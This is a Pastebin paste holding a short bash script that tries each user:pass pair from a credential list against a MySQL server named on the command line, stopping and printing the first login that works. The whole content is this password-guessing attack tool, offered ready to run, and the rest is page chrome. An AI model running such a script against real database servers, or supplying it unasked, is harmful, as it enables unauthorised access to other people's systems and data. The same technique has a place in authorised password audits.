Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #In the file, list of usernames & passwords in format of: "user:pass"
- file=credentiallist.txt
- [[ $# -ne 1 ]] && echo "usage: $0 ip_or_hostname_here" && exit
- while IFS=: read user pass
- do
- mysql -h $1 -u $user -p"$pass" -e STATUS && echo "Found: user=$user pass=$pass" && exit 0
- done < $file
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement